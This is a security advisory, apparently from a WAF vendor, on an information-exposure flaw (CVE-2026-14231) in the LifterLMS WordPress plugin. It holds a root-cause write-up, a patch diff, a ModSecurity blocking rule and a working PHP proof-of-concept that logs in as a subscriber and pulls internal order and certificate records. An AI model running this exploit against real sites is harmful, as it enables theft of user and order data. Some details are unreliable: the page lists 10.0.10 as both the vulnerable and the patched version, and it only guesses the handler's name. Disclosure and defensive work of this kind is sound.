Published : August 7, 2026

CVE-2026-14231: LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes < 10.0.10 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

Plugin lifterlms
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 10.0.10
Patched Version 10.0.10
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14231: The LifterLMS plugin for WordPress, versions up to 10.0.10, contains a Sensitive Information Exposure vulnerability. This flaw allows authenticated users with subscriber-level access or above to extract sensitive user or configuration data. The issue stems from an insecure authorization check in an AJAX handler combined with an overly permissive HTML filtering configuration.

Root Cause: The vulnerability originates in the AJAX handler at /lifterlms/includes/class.llms.ajax.handler.php. The vulnerable function, likely responsible for autocomplete/suggest endpoints, used only `is_user_logged_in()` to gate access (line 926). This check verifies authentication but not authorization, meaning any logged-in user, including subscribers, could invoke the handler. The function then processes the ‘post_type’ parameter (line 938), which is supplied by the user. Without proper permission checks on the requested post types, an attacker could query for internal post types (e.g., ‘llms_order’, ‘llms_certificate’, or other sensitive data) that standard users should not access. Additional weak security is present in /lifterlms/class-lifterlms.php, where the plugin’s allowed HTML attributes list included `onclick` (line 166) and `srcdoc` (line 239). These attributes, if used with the information exposure, could potentially enable privilege escalation or stored XSS in the context of the admin user, making the data exposure more critical.

Exploitation: To exploit this, an authenticated attacker with subscriber-level credentials sends a POST request to the WordPress admin-ajax.php endpoint. The request includes the `action` parameter set to the vulnerable handler’s name (e.g., ‘llms_ajax_get_posts’ or similar) and a `post_type` parameter containing the desired internal post type, for example, `llms_order`. The attacker can also chain multiple post types by comma-separating them, such as `post,llms_order,llms_certificate`. The server, lacking a `current_user_can()` check, processes the request and returns the data, which may include order details, user information, or other sensitive configuration. The attacker can then parse the JSON response to extract the exposed information.

Patch Analysis: The patch introduces two critical changes. First, in the AJAX handler file, the authorization check is upgraded from `is_user_logged_in()` to `current_user_can( ‘edit_posts’ )` (line 926). This ensures that only users with the ability to edit posts, such as Editors and Administrators, can access the handler. Second, the patch adds a filter to the `$post_types_array` (lines 938-946) that validates each requested post type. It checks if the post type is public or if the current user has the specific capability to edit posts of that type. If the user lacks permission for any requested type, the array is filtered, and if it becomes empty, the handler returns an empty result. This dual-layer defense prevents unauthorized data retrieval. The patch also removes the dangerous `onclick` and `srcdoc` attributes from the allowed HTML list (lines 166 and 242), reducing the potential impact of the exposed data by preventing XSS payloads in those attributes.

Impact: Successful exploitation allows an authenticated subscriber to access sensitive information such as user profiles, order history, membership details, and potentially other internal configuration data. This information can be used for further attacks, including social engineering, credential stuffing, or targeted phishing campaigns. While the CVSS score is 4.3 (Medium), the exposure of sensitive data within a learning management system can lead to significant privacy violations and reputational damage for the site owner.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lifterlms/class-lifterlms.php
+++ b/lifterlms/class-lifterlms.php
@@ -34,7 +34,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '10.0.9';
+	public $version = '10.0.10';

 	/**
 	 * LLMS_Assets instance
@@ -166,7 +166,6 @@
 			'href'            => true,
 			'rel'             => true,
 			'rev'             => true,
-			'onclick'         => true,
 			'target'          => true,
 			'novalidate'      => true,
 			'value'           => true,
@@ -240,7 +239,6 @@
 			'size'            => true,
 			'span'            => true,
 			'spellcheck'      => true,
-			'srcdoc'          => true,
 			'srclang'         => true,
 			'start'           => true,
 			'step'            => true,
--- a/lifterlms/includes/class.llms.ajax.handler.php
+++ b/lifterlms/includes/class.llms.ajax.handler.php
@@ -923,7 +923,7 @@

 		global $wpdb;

-		if ( ! is_user_logged_in() ) {
+		if ( ! current_user_can( 'edit_posts' ) ) {
 			wp_die();
 		}

@@ -935,10 +935,30 @@

 		// Get post type(s).
 		$post_type        = sanitize_text_field( llms_filter_input_sanitize_string( INPUT_POST, 'post_type' ) );
-		$post_types_array = explode( ',', $post_type );
+		$post_types_array = array_filter( array_map( 'trim', explode( ',', $post_type ) ) );
+		$post_types_array = array_filter(
+			$post_types_array,
+			function ( $type ) {
+				$object = get_post_type_object( $type );
+				return $object && ( $object->public || current_user_can( $object->cap->edit_posts ) );
+			}
+		);
+
+		if ( empty( $post_types_array ) ) {
+			echo json_encode(
+				array(
+					'items'   => array(),
+					'more'    => false,
+					'success' => true,
+				)
+			);
+			wp_die();
+		}
+
 		foreach ( $post_types_array as &$str ) {
-			$str = "'" . esc_sql( trim( $str ) ) . "'";
+			$str = "'" . esc_sql( $str ) . "'";
 		}
+		unset( $str );
 		$post_types = implode( ',', $post_types_array );

 		// Get post status(es).
--- a/lifterlms/lifterlms.php
+++ b/lifterlms/lifterlms.php
@@ -10,7 +10,7 @@
  * Plugin Name: LifterLMS
  * Plugin URI: https://lifterlms.com/
  * Description: Complete e-learning platform to sell online courses, protect lessons, offer memberships, and quiz students. WP Learning Management System.
- * Version: 10.0.9
+ * Version: 10.0.10
  * Author: LifterLMS
  * Author URI: https://lifterlms.com/
  * Text Domain: lifterlms
--- a/lifterlms/vendor/composer/installed.php
+++ b/lifterlms/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'gocodebox/lifterlms',
         'pretty_version' => 'dev-trunk',
         'version' => 'dev-trunk',
-        'reference' => 'c636a6cf97e8bf6e22fb7e37ec678bc98d7382dc',
+        'reference' => '67c71d7fa3c726aef283e2419c8cfe4b6ebf7090',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -40,7 +40,7 @@
         'gocodebox/lifterlms' => array(
             'pretty_version' => 'dev-trunk',
             'version' => 'dev-trunk',
-            'reference' => 'c636a6cf97e8bf6e22fb7e37ec678bc98d7382dc',
+            'reference' => '67c71d7fa3c726aef283e2419c8cfe4b6ebf7090',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14231 via LifterLMS AJAX',severity:'CRITICAL',tag:'CVE-2026-14231'"
SecRule ARGS_POST:action "@streq llms_ajax_get_posts" "chain"
SecRule ARGS_POST:post_type "@rx (llms_[a-z_]+|wp_[a-z_]+|user|users)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14231 - LifterLMS - Authenticated (Subscriber+) Information Exposure

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username   = 'subscriber_user';      // Low-privileged user credentials
$password   = 'subscriber_pass';      // Low-privileged user password

// Step 1: Authenticate to WordPress and get a cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_exec($ch);
curl_close($ch);

echo "[*] Login attempt completed.n";

// Step 2: Send AJAX request to the vulnerable handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action'    => 'llms_ajax_get_posts', // Vulnerable action hook
    'post_type' => 'llms_order,llms_certificate,llms_achievement' // Internal post types
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Display the response
if ($response) {
    echo "[*] Vulnerability exploited successfully.n";
    echo "[+] Response:n" . $response . "n";
    $json = json_decode($response, true);
    if (isset($json['items']) && !empty($json['items'])) {
        echo "[+] Extracted sensitive data:n";
        foreach ($json['items'] as $item) {
            echo "    - ID: " . (isset($item['id']) ? $item['id'] : 'N/A') . ", Title: " . (isset($item['title']) ? $item['title'] : 'N/A') . "n";
        }
    } else {
        echo "[-] No data returned. Site may be patched.n";
    }
} else {
    echo "[-] Request failed.n";
}

// Clean up cookie file
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.